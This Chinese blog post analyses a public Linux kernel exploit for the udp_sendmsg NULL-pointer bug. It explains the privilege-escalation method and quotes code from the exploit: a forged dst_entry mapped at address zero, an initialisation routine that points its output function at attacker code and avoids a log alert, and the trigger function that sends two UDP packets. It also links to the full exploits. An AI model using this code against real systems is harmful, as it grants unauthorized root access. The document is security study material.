udp_sendmsg漏洞(三)--漏洞利用的源码及分析

我们在系列的第一篇《udp_sendmsg漏洞(一)--介绍》(以下简称文一)中提到利用该漏洞的代码,其中一个是p0c73n1提供的源代码:http://www.milw0rm.com/exploits/9542。我们将在后面列出。这里,简要的分析一下spender提供的源码:http://grsecurity.org/%7Espender/therebel.tgz。
  【警告:本文中列出的代码仅限于学习和研究使用。任何用于非法用途的,请自行承担责任。】
    
    本文欢迎自由转载,但请标明出处,并保证本文的完整性。

    作者:Godbach
    Blog:http://Godbach.cublog.cn
    日期:2010/01/19

一、漏洞的思考
   我们在文一中提到了,udp_sendmsg中触发的BUG是内核态访问一个指向NULL的指针变量。那么这种条件下如何利用BUG实现提权呢。
   先来看一下udp_sendmsg函数的执行流程(注:该流程转自某网友的总结):
 
UDP发送函数 udp_sendmsg() 
              -> udp_push_pending_frames() 
              -> ip_push_pending_frames() 
              -> ip_local_out() 
              -> dst_output() 
              -> skb->dst->output(skb)
因此,可以看出,如果udp_sendmsg函数正常执行的话,最后就会调用dst_output函数,该函数实际上就是利用该skb->dst中保存的路由信息以及发送函数,将skb路由出去。
    但是,skb->dst中保存的路由信息是需要在udp_sendmsg中构建起来的。正常情况下是没有问题的,但是我们的攻击代码正好实现了让内核没来及构造这个rt路由表项(该数据结构中包含了struct dst_entry,即skb->dst成员的类型), rt一直为NULL,而后面就要解引用这个rt。
    那么,如果我们将0地址映射之后,将该快内存视为rt路由表项,并将各个成员适当的初始化并赋值,以保证数据包可以正确的走到skb->dst->output().因为skb->dst同样是通过rt获取到的。也就是我们映射的那块内存,因此dst->output可以让其指向我们实现的kernel_code.这样就是实现了漏洞的利用。
    呵呵,不过这个利用过程是比较复杂一些,我也是看了漏洞利用的代码之后,才明白的。

二、漏洞利用的源代码
   我们在文章的开始之处已经给出了代码的链接, therebel.tgz压缩包中有三个文件exploit.c ,pwnkernel.c,therebel.sh。其实这是利用内核NULL pointer的通用做法。这里进分析和udp_sendmsg漏洞利用的相关代码。
1. 构建路由表项

struct dst_entry {
    void *next;
    int refcnt;
    int use;
    void *child;
    void *dev;
    short error;
    short obsolete;
    int flags;
    unsigned long lastuse;
    unsigned long expires;
    unsigned short header_len;
    unsigned short trailer_len;
    unsigned int metrics[13];
    /* need to have this here and empty to avoid problems with
       dst.path being used by dst_mtu */

    void *path;
    unsigned long rate_last;
    unsigned long rate_tokens;
    /* things change from version to version past here, so let's do this: */
    void *own_the_kernel[10];
};


理论上应该构造的是struct rtable结构体,其结构体开头部分如下:

struct rtable
{
    union
    {
        struct dst_entry    dst;
        struct rtable        *rt_next;
    } u;

    struct in_device    *idev;
......


但是因为代码执行的这个分支上,只用到了struct rtable结构体中第一个成员联合体u中的dst。而且dst的地址和rt的地址是一样的。因此直接构造一个struct dst_entry结构体即可。

  由于内核的struct dst_entry中很多成员结构体指针,为了便于设计,将原始结构体中所有指针类型的成员都使用void*来代替。这样在内存的占用上是相同的。
  至void *own_the_kernel[10],则适用于替代struct dst_entry最后9个成员(32位平台上这9个成员占用的应该是10个指针的内存):

struct dst_entry{

    .....  

    unsigned long        rate_tokens;

    struct neighbour    *neighbour;
    struct hh_cache        *hh;
    struct xfrm_state    *xfrm;

    int            (*input)(struct sk_buff*);
    int            (*output)(struct sk_buff*);

#ifdef CONFIG_NET_CLS_ROUTE
    __u32            tclassid;
#endif

    struct dst_ops     *ops;
    struct rcu_head        rcu_head;
        
    char            info[0];
};

   从以上看出从rate_tokens下一个成员开始,共9个成员(考虑到tclassid也存在的情况),我们可以将tclassid和info[0]视为个占用一个指针类型的内存,而struct rcu_read占用了两个指针的内存,这样算起来,总共10个指针的长度。这也就是exp代码中struct dst_entry最后一个成员使用指针数组替代的原因。
   同时,我们应该也看到了struct dst_entry中的output成员,output为一个函数指针,内核中指向发送数据包的函数。如果我们将output指向我们自己实现的代码,就可以干坏事了。:-)

2. 初始化内存,注入恶意代码
   内核态利用NULL pointer的代码都是通用的,这里不详细解释。成功的mmap 0地址之后,我们就可以将相关的恶意代码写入这块内存,见pa__init函数的部分代码:
 

int pa__init(void *m)
{
    struct dst_entry *mem = NULL;
    ......  
    /* for stealthiness based on reversing, makes sure that frag_off
     is set in skb so that a printk isn't issued alerting to the 
     exploit in the ip_select_ident path
    */

    mem->metrics[1] = 0xfff0;
    /* the actual "output" function pointer called by dst_output */
    for (= 0; i < 10; i++)
        mem->own_the_kernel[i] = (void *)&own_the_kernel;

    ......


  对这块内存的初始化,应该根据内核中需要读写struct dst_entry中的那些成员而进行。可见,当前情况下仅需要设置一下metrics[1]即可。然后就是将mem->own_the_kernel的10个指针成员都指向own_the_kernel,这样就保证了内核中的skb->dst->output指向了own_the_kernel. 至于为什么10个成员指向该函数,个人理解可能为了保证万无一失吧。

3. 触发漏洞
  万事俱备,就差触发漏洞了。我们在文一中也贴出了触发漏洞的代码,和本文分析的exploit.c中的一样:

void trigger_it(void)
{
    struct sockaddr sock = {
        .sa_family = AF_UNSPEC,
        .sa_data = "CamusIsAwesome",
    };
    char buf[1024] = {0};
    int fd;

    fd = socket(PF_INET, SOCK_DGRAM, 0);
    if (fd < 0) {
        fprintf(stdout, "failed to create socket\n");
        exit(1);
    }
        
    sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock));
    sendto(fd, buf, 1024, 0, &sock, sizeof(sock));

    return;
}


   至此,该漏洞利用的代码核心部分已经分析完了。普通用户下执行脚本therebel.sh,应该就可以获升级到root用户的权限了。

三、另一个简洁的漏洞利用代码
  我们在文章开始的地方就提到了 p0c73n1提供的源代码。该代码短小,同样可以利用udp_sendmsg漏洞来获取到root用户权限。而且其利用方法没有采用上面构建路由表项的方式。由于时间关系,暂不分析该代码的实现。

四、总结
   可见,内核态访问NULL pointer的时候,可以分为两种情形,一种是可执行的,比如函数指针;另一种是不可执行的,比如变量。对于这种情况,exploit的整体思路还是一致的。只是在实现细节上,如何引导内核执行我们自己实现的代码,则是有区别的:
(1)当内核态调用一个函数,而该函数可能指向NULL的时候,其利用的方法相对简单。只要你可以mmap到0地址,然后在这块内存的开始写入执行函数调用的指令,调用我们自己实现的kernel_code即可。
(2)当内核态访问的是一个可能指向NULL的变量时,如何利用就要具体问题具体分析。宗旨还是要让其通过访问这个NULL变量时,访问我们在0地址构造的数据,并且在一定条件下可以访问到我们写在0地址的可执行代码。这个主要靠对当前存在BUG的内核模块代码的理解程度,以及相关的经验。

你可能感兴趣的:(数据结构,struct,socket,null,DST,output)